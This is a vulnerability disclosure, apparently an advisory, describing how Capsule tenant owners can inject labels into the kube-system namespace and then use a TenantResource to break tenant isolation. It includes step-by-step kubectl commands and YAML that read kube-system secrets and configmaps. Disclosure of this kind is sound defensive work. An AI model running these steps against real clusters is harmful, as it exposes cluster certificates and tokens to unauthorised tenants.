Capsule tenant owners with "patch namespace" permission can hijack system namespaces label

Step 2: Label Injection Attack

# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig

# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
  {
    "op": "add",
    "path": "/metadata/labels/malicious-label",
    "value": "attack-value"
  }
]'

# Verify injection success
kubectl get namespace kube-system --show-labels

Step 3: Exploitation via TenantResource

# Create attacker-controlled namespace
kubectl create namespace alice-attack

# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: malicious-resource
  namespace: alice-attack
spec:
  resyncPeriod: 60s
  resources:
  - namespaceSelector:
      matchLabels:
        malicious-label: "attack-value"
EOF

# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml

Step 4: Verification of Impact

# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected namespaces)

# Check for potential resource replication/access
kubectl get all -n kube-system
kubectl get secrets -n kube-system
kubectl get configmaps -n kube-system

Automated Testing Script: A complete vulnerability verification script is available that tests:

• Label injection into multiple system namespaces
• TenantResource exploitation
• Cross-tenant resource access verification
• Impact assessment and cleanup

Impact

Vulnerability Type: Authorization Bypass / Privilege Escalation

Who is Impacted:

• Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
• Organizations relying on Capsule for tenant isolation and resource governance
• Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy

Security Impact:

1. Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
2. Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
3. Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
4. Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
5. Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions

Real-world Exploitation Scenarios:

• Access to kube-system secrets containing cluster certificates and service account tokens
• Modification or replication of critical system configurations
• Cross-tenant data access in shared clusters
• Potential cluster-wide compromise through system namespace access

Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.